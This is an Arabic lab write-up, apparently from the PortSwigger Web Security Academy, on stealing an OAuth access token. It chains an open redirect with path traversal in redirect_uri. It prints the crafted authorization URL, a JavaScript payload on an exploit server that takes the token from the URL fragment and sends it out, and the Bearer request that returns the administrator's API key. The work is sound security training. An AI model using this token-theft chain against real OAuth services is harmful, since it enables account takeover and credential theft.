> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/oauth-authentication/oauth-token-theft-via-open-redirect.md).

# سرقة رمز OAuth عبر إعادة توجيه مفتوحة

### سرقة رموز وصول OAuth عبر إعادة توجيه مفتوحة

**هدف المختبر**

يستخدم هذا المختبر تحققًا غير صحيح من `redirect_uri` المعامل من قِبل خدمة OAuth. / الهدف هو استخدام إعادة توجيه مفتوحة موجودة في تطبيق العميل من أجل **تسريب رمز وصول OAuth من مستخدم المدير** ثم استخدامه لاسترداد مفتاح API الخاص به.

> لا يمكن الحصول على مفتاح API الخاص بالمدير بمجرد الاتصال بحسابه عبر تطبيق العميل.

**تحديد إعادة التوجيه المفتوحة**

توجد إعادة توجيه مفتوحة في وظيفة التصفح بين مقالات المدونة:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=/post?postId=6
```

{% endcode %}

<figure><img src="/files/377d7dbac802e08eec5fe23f75034c2951ca66de" alt=""><figcaption></figcaption></figure>

من خلال استبدال `المسار` المعامل بعنوان URL خارجي، يتم قبول إعادة التوجيه:

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/post/next?path=https://google.com
```

{% endcode %}

يتم إعادة توجيه المتصفح، مما يؤكد الثغرة.

<figure><img src="/files/6bbe8ab9df6ce04c2fb8f5d69b06533fe62df3b3" alt=""><figcaption></figcaption></figure>

**تحليل تدفق OAuth**

عند المصادقة عبر OAuth، يتم ملاحظة الاستعلام التالي:

{% code overflow="wrap" %}

```http
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/f1dab28c2e9768cf4f531b3ea5f6ec3eb1824ed9" alt=""><figcaption></figcaption></figure>

ترفض خدمة OAuth عنوانًا خارجيًا بالكامل `redirect_uri`، لكنها تقبل عنوان URL داخليًا تم تعديله باستخدام اجتياز المسار.

{% code overflow="wrap" %}

```bash
https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://google.com
```

{% endcode %}

<figure><img src="/files/1b03ac749751f7172553c05cf018fa237faa8f5c" alt=""><figcaption></figcaption></figure>

**`redirect_uri` تجاوز التحقق**

باستخدام `../` للخروج من `/OAuth-callback` المسار، يمكن تسلسل إعادة التوجيه المفتوحة:

{% code overflow="wrap" %}

```bash
GET /auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/..//post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

<figure><img src="/files/894db8b0e799a5fbd5a79ab9dd8363b416b51c12" alt=""><figcaption></figcaption></figure>

يُقبل عنوان URL هذا على أنه `redirect_uri` من قِبل موفر OAuth.

**إنشاء عنوان URL خبيث لـ OAuth**

عنوان URL النهائي المرسل إلى الضحية هو:

{% code overflow="wrap" %}

```bash
https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net&response_type=token&nonce=-1202975070&scope=openid%20profile%20email
```

{% endcode %}

**مشكلة المقطع (`#`)**

مقطع عنوان URL **لا يُرسل أبدًا إلى الخادم** أثناء طلب HTTP.<br>

<figure><img src="/files/82e510734e002e0d4dce2ac96b8c606c9d840854" alt=""><figcaption></figcaption></figure>

يلزم استخدام JavaScript على جانب العميل لالتقاط الرمز.

<figure><img src="/files/55a817f4001f534a58786e39c83e55159ea79ae8" alt=""><figcaption></figcaption></figure>

**التقاط الرمز باستخدام JavaScript**

يتم استضافة النص البرمجي التالي على خادم الاستغلال وإرساله إلى المدير:

```javascript
<script>
if (!document.location.hash) {
      window.location = 'https://oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net/auth?client_id=w9ks0sk9enr3fnrxxj0e9&redirect_uri=https://0a66000f03f1233d84d43b96004d00db.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0aa200b50306231684d83aca01e50063.exploit-server.net/exploit&response_type=token&nonce=-1202975070&scope=openid%20profile%20email';
} else{
   window.location = '/?' + document.location.hash.substr(1);
}
</script>
```

<figure><img src="/files/a3292c9a08f5fbf2f1948ce383241e66204d4850" alt=""><figcaption></figcaption></figure>

* إذا لم يكن هناك مقطع، تتم إعادة توجيه الضحية إلى OAuth.
* إذا كان المقطع موجودًا، يتم إرسال الرمز إلى الخادم عبر سلسلة الاستعلام.

<figure><img src="/files/469c003233b342cef50689fa1f630ff10cc2b822" alt=""><figcaption></figcaption></figure>

**استغلال رمز OAuth**

يتيح لك الرمز المسروق الاستعلام عن `/me` نقطة موفر OAuth:

```http
GET /me HTTP/2
Host: oauth-0a7c00d603ea23e0849f3991020c0078.oauth-server.net
Authorization: Bearer PcLy4bgYKmVTtff9jiY0AmymdyjUA3Or7xthOJTotyJ
```

<figure><img src="/files/23c988ee61f05d95a455ae96725bd66dc7159947" alt=""><figcaption></figcaption></figure>

تتضمن الاستجابة معلومات حساب المدير، بما في ذلك مفتاح API:

{% code overflow="wrap" %}

```http
{
"sub":"administrator",
"apikey":"d1tjcs2O4I1ts6yYdswOz2yu9bALstzG",
"name":"Administrator",
"email":"administrator@normal-user.net",
"email_verified":true
}
```

{% endcode %}

<figure><img src="/files/c45ba05fa1b178d3d94f5ad371e1b8d5b55f3520" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/oauth-authentication/oauth-token-theft-via-open-redirect.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
